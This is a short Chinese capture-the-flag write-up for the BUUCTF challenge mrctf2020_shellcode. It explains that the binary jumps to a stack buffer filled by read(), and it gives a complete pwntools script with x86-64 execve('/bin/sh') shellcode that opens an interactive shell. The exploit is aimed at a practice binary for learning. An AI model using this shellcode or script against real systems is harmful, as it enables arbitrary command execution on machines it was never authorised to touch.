BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:


有可执行的段。接着我们看看IDA:


主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。


正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./mrctf2020_shellcode')

shellcode = '''
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
'''


shellcode=asm(shellcode)

io.recvuntil("magic!")

io.sendline(shellcode)

io.interactive()
相关推荐
女王大人万岁5 分钟前
Go标准库 sync 详解
服务器·开发语言·后端·golang
qq_411262428 分钟前
短时间串口发送网络端怎么接收不到
开发语言·php
静谧空间9 分钟前
java登录验证码CaptchaConfig
java·开发语言
小高Baby@13 分钟前
session、cookie、Jwt-token
开发语言·后端·golang
maplewen.16 分钟前
C++11 std::mutex
开发语言·c++
jiaguangqingpanda17 分钟前
Day37-20260205
java·开发语言
历程里程碑20 分钟前
21:重谈重定义理解一切皆“文件“及缓存区
linux·c语言·开发语言·数据结构·c++·算法·缓存
wxin_VXbishe22 分钟前
springboot旅游信息管理系统-计算机毕业设计源码21675
java·c++·spring boot·python·spring·django·php
weixin_4331793326 分钟前
Python - 软件对象
开发语言·python
Want59529 分钟前
Python新春烟花代码
开发语言·python·pygame